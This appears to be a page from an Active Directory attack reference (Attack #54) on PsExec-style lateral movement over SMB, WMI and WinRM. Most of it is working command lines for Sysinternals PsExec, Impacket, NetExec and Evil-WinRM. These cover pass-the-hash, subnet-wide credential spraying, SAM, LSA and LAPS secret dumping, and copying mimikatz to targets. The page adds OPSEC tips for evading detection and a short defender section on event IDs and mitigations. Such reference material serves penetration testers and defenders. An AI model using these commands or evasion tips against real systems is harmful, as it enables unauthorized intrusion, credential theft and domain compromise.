AD ^: Active Directory

Attack #54 — PsExec Remote Execution via SMB

PsExec is the most iconic lateral movement technique in Active Directory environments. It enables an attacker with valid administrator credentials to…

advanced updated 2026-08-10 NetExec · Impacket · Mimikatz · Evil-WinRM

⚫ Attack #54 — PsExec / Remote Execution via SMB


📖 How It Works

PsExec is the most iconic lateral movement technique in Active Directory environments. It enables an attacker with valid administrator credentials to execute commands on remote Windows systems over the Server Message Block (SMB) protocol. The technique works by creating a temporary Windows service on the target machine, which executes the specified command under the SYSTEM context, then cleans up after itself.

The original Sysinternals PsExec is a legitimate Microsoft tool used by system administrators for remote management, which makes it inherently difficult to distinguish from normal administrative activity. However, Impacket’s psexec.py, smbexec.py, and wmiexec.py provide even more flexible alternatives from Linux, each with different execution mechanics and detection characteristics.

How PsExec Works Under the Hood

1. Authenticate to the target via SMB (port 445) using credentials, hash, or ticket
2. Connect to the ADMIN$ or C$ share (requires local admin privileges)
3. Upload a service binary to \\TARGET\ADMIN$\ (Sysinternals) or create inline service (Impacket)
4. Create and start a Windows service via the Service Control Manager (SCM)
5. The service executes the command as NT AUTHORITY\SYSTEM
6. Output is redirected back via a named pipe
7. Service is stopped and deleted (cleanup)

Execution Method Comparison

ToolUpload Binary?Service Created?Execution ContextStealth LevelProtocol
Sysinternals PsExecYes (PSEXESVC.exe)Yes (PSEXESVC)SYSTEMLow — drops binary to diskSMB
Impacket psexec.pyYes (random .exe)Yes (random name)SYSTEMLow — drops binarySMB
Impacket smbexec.pyNoYes (per-command)SYSTEMMedium — no binary on diskSMB
Impacket wmiexec.pyNoNoUser contextHigh — no service, no binaryWMI/DCOM
Impacket atexec.pyNoNo (scheduled task)SYSTEMMedium — uses task schedulerSMB
Impacket dcomexec.pyNoNoUser contextHigh — uses DCOM objectsDCOM

⚙️ Prerequisites

RequirementDetail
Local admin credentials on targetValid username + password, NT hash (PtH), or Kerberos ticket
SMB access (port 445)Must be able to reach the target’s SMB service
ADMIN$ or C$ share accessibleRequires administrative shares to be enabled (default on)
No network segmentation blocking SMBFirewall must allow TCP 445 between source and target

🛠️ Tools

ToolPlatformNotes
Sysinternals PsExecWindowsOriginal Microsoft tool — PsExec.exe
Impacket — psexec.pyLinuxPython implementation — drops binary to ADMIN$
Impacket — smbexec.pyLinuxFileless — creates service cmd per command
Impacket — wmiexec.pyLinuxMost stealthy — uses WMI, no service creation
Impacket — atexec.pyLinuxUses Task Scheduler for execution
Impacket — dcomexec.pyLinuxUses DCOM objects for execution
CrackMapExec / NetExecLinuxMass execution — spray commands across networks
Evil-WinRMLinuxWinRM-based shell (port 5985/5986)

💻 Full Commands

🔴 Sysinternals PsExec (Windows → Windows)

# ── Interactive SYSTEM shell on remote host ───────────────────────────────────
PsExec.exe \\TARGET cmd.exe
# Prompts for credentials if not running as DA

# ── With explicit credentials ─────────────────────────────────────────────────
PsExec.exe \\TARGET -u CORP\Administrator -p 'Password1' cmd.exe

# ── Run as SYSTEM on remote host ──────────────────────────────────────────────
PsExec.exe -s \\TARGET cmd.exe
# -s = run as SYSTEM (default for remote execution)

# ── Execute a specific command (non-interactive) ──────────────────────────────
PsExec.exe \\TARGET -u CORP\Administrator -p 'Password1' ipconfig /all

# ── Execute on multiple targets ───────────────────────────────────────────────
PsExec.exe \\TARGET1,TARGET2,TARGET3 -u CORP\Administrator -p 'Password1' whoami

# ── Execute on all computers in a file ────────────────────────────────────────
PsExec.exe @computers.txt -u CORP\Administrator -p 'Password1' hostname

# ── Copy a binary to remote host and execute ──────────────────────────────────
PsExec.exe \\TARGET -u CORP\Administrator -p 'Password1' -c mimikatz.exe
# -c = copy the specified program to ADMIN$ then execute it

# ── Run with alternate credentials (pass current token) ──────────────────────
# If you have a Kerberos ticket injected via PtT / Golden Ticket:
PsExec.exe \\DC01.corp.local cmd.exe
# Uses the current session's Kerberos tickets automatically

🔴 Impacket — psexec.py (Linux → Windows)

# ── Interactive SYSTEM shell with password ────────────────────────────────────
psexec.py corp.local/Administrator:'Password1'@10.10.10.10

# ── With domain prefix ────────────────────────────────────────────────────────
psexec.py 'corp.local/Administrator:Password1@10.10.10.10'

# ── Pass-the-Hash (no password needed) ────────────────────────────────────────
psexec.py corp.local/Administrator@10.10.10.10 \
  -hashes :2b576acbe6bcfda7294d6bd18041b8fe

# ── Kerberos authentication (with cached ticket) ─────────────────────────────
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

# ── Execute specific command ──────────────────────────────────────────────────
psexec.py corp.local/Administrator:'Password1'@10.10.10.10 "whoami /all"

# ── Use local admin account (no domain) ───────────────────────────────────────
psexec.py ./Administrator:'Password1'@10.10.10.10

🔴 Impacket — smbexec.py (Fileless — No Binary Drop)

# ── Fileless shell via service creation ───────────────────────────────────────
smbexec.py corp.local/Administrator:'Password1'@10.10.10.10

# ── With PtH ──────────────────────────────────────────────────────────────────
smbexec.py corp.local/Administrator@10.10.10.10 \
  -hashes :2b576acbe6bcfda7294d6bd18041b8fe

# ── Kerberos ──────────────────────────────────────────────────────────────────
export KRB5CCNAME=administrator.ccache
smbexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

# How smbexec works differently from psexec:
# - Does NOT upload a binary to the target
# - Creates a service per command that runs: %COMSPEC% /Q /c <command> 1> output 2>&1
# - Output is written to a file on ADMIN$ share, then read back
# - Service is deleted after each command
# - Stealthier than psexec (no file on disk) but creates more Event 7045 entries

🔴 Impacket — wmiexec.py (Most Stealthy — No Service)

# ── Stealthy shell via WMI ────────────────────────────────────────────────────
wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10

# ── With PtH ──────────────────────────────────────────────────────────────────
wmiexec.py corp.local/Administrator@10.10.10.10 \
  -hashes :2b576acbe6bcfda7294d6bd18041b8fe

# ── Kerberos ──────────────────────────────────────────────────────────────────
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

# ── Execute single command ────────────────────────────────────────────────────
wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10 "whoami /all"

# How wmiexec works:
# - Uses WMI (DCOM port 135 + dynamic RPC) instead of SMB services
# - Spawns cmd.exe via Win32_Process.Create()
# - Does NOT create a service (no Event 7045)
# - Does NOT upload any binary
# - Output redirected to \\127.0.0.1\ADMIN$\__<random>
# - Runs as the authenticated user (not SYSTEM by default)
# - Most stealthy of all Impacket exec tools

🔴 Impacket — atexec.py (Task Scheduler)

# ── Execute via scheduled task ────────────────────────────────────────────────
atexec.py corp.local/Administrator:'Password1'@10.10.10.10 "whoami"

# ── With PtH ──────────────────────────────────────────────────────────────────
atexec.py corp.local/Administrator@10.10.10.10 \
  -hashes :2b576acbe6bcfda7294d6bd18041b8fe "ipconfig /all"

# How atexec works:
# - Creates a scheduled task on the remote host
# - Task executes the command and writes output to a temp file
# - Output is read back via SMB
# - Task is deleted after execution
# - Uses the Task Scheduler service instead of SCM

🔴 CrackMapExec / NetExec — Mass Execution

# ── Single target — execute command ───────────────────────────────────────────
nxc smb 10.10.10.10 -u Administrator -p 'Password1' -x "whoami"
nxc smb 10.10.10.10 -u Administrator -p 'Password1' -X "Get-Process"  # PowerShell

# ── PtH ───────────────────────────────────────────────────────────────────────
nxc smb 10.10.10.10 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe -x "whoami"

# ── Kerberos ──────────────────────────────────────────────────────────────────
nxc smb DC01.corp.local --use-kcache -x "whoami"

# ── Spray across subnet — find where credentials work ────────────────────────
nxc smb 10.10.10.0/24 -u Administrator -p 'Password1'
# Look for (Pwn3d!) in output = admin access confirmed

# ── Mass command execution across all accessible hosts ────────────────────────
nxc smb 10.10.10.0/24 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe \
  -x "whoami" --exec-method smbexec

# ── Execution methods ────────────────────────────────────────────────────────
# --exec-method smbexec   → Fileless service execution
# --exec-method wmiexec   → WMI-based execution
# --exec-method atexec    → Scheduled task execution
# --exec-method mmcexec   → MMC-based execution

# ── Dump SAM via CME ──────────────────────────────────────────────────────────
nxc smb 10.10.10.10 -u Administrator -p 'Password1' --sam

# ── Dump LSA secrets ──────────────────────────────────────────────────────────
nxc smb 10.10.10.10 -u Administrator -p 'Password1' --lsa

# ── Dump LAPS passwords ──────────────────────────────────────────────────────
nxc ldap DC01.corp.local -u Administrator -p 'Password1' --laps

🔴 Evil-WinRM (WinRM-Based Shell)

# ── Interactive PowerShell shell via WinRM ────────────────────────────────────
evil-winrm -i 10.10.10.10 -u Administrator -p 'Password1'

# ── PtH ───────────────────────────────────────────────────────────────────────
evil-winrm -i 10.10.10.10 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe

# ── Kerberos ──────────────────────────────────────────────────────────────────
evil-winrm -i DC01.corp.local -r corp.local

# ── Upload/download files ────────────────────────────────────────────────────
# Inside evil-winrm session:
upload /local/path/mimikatz.exe C:\Temp\mimikatz.exe
download C:\Users\Administrator\Desktop\flag.txt /local/path/flag.txt

# ── Load PowerShell scripts ──────────────────────────────────────────────────
evil-winrm -i 10.10.10.10 -u Administrator -p 'Password1' -s /path/to/scripts/
# Inside session: menu → loads scripts from the specified directory

# Note: WinRM uses port 5985 (HTTP) or 5986 (HTTPS), not SMB port 445

🎯 OPSEC Tips

  • wmiexec.py is the stealthiest — no binary uploaded, no Windows service created, no Event 7045; only creates cmd.exe via WMI
  • smbexec.py is a good middle ground — no binary on disk, but does create temporary services (generates Event 7045 per command)
  • psexec.py is the loudest — uploads a binary to ADMIN$, creates a persistent service with a recognizable random name
  • Sysinternals PsExec leaves PSEXESVC.exe on the target — this is a well-known IOC; use PsExec -r <custom_name> to change the service name
  • Use Kerberos authentication over NTLM when possible — NTLM generates more detectable network traffic
  • Avoid spraying commands across the entire subnet unless time-constrained — mass execution via CME/NXE generates correlated authentication events
  • Clean up after execution — delete uploaded binaries, check for leftover services (sc query type=own), remove temp files

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
7045System LogNew service installed — random name, binary in C:\Windows or ADMIN$ (PsExec, smbexec)
4697Security LogService installation — same as 7045 but in Security log
4624Security LogLogon Type 3 (Network) — admin account authenticating from unexpected source
4672Security LogSpecial privileges assigned to network logon
5145Security LogNetwork share accessed — ADMIN$, C$, IPC$ access from workstations
4688Security LogProcess creation — cmd.exe spawned by service or wmiprvse.exe
Sysmon 1SysmonProcess creation with command line — catch the actual commands executed
Sysmon 11SysmonFile creation — PsExec binary written to ADMIN$ share

Primary detection signature: Event 7045 with a service binary path pointing to C:\Windows\ or %SystemRoot%\ with a random-looking name is the classic PsExec/smbexec indicator. For wmiexec, monitor for wmiprvse.exe spawning cmd.exe via Event 4688 with Command Line Auditing enabled. Correlate all of these with Event 4624 Type 3 from unexpected source IPs to identify lateral movement campaigns.


🔗 Attack Chain Context

[PsExec / SMB Execution] ──→ Lateral Movement Across the Domain

         ├──→ 🔑 Requires: valid admin creds (local or domain) or PtH/PtT
         ├──→ 💻 Execute as SYSTEM on any remote host with admin access
         ├──→ 🩸 Post-access: dump LSASS → extract more creds → pivot further
         ├──→ 📋 Chain: Password Spray (#1) → PtH (#4) → PsExec → more creds
         ├──→ 🌐 Mass execution: spray across subnet to identify admin access
         ├──→ 🔗 Commonly follows: credential attacks, kerberos abuse, token impersonation
         └──→ 💀 Defeated by: disable ADMIN$, network segmentation, LAPS, EDR

PsExec-style lateral movement is the backbone of AD engagements. After obtaining any form of admin credentials (PtH, cracked passwords, Kerberoast, etc.), the first action is always to spray those credentials and execute on as many machines as possible — extracting more credentials from each compromised host in a snowball effect until Domain Admin is achieved.


Attack #54 — PsExec / Remote Execution via SMB complete.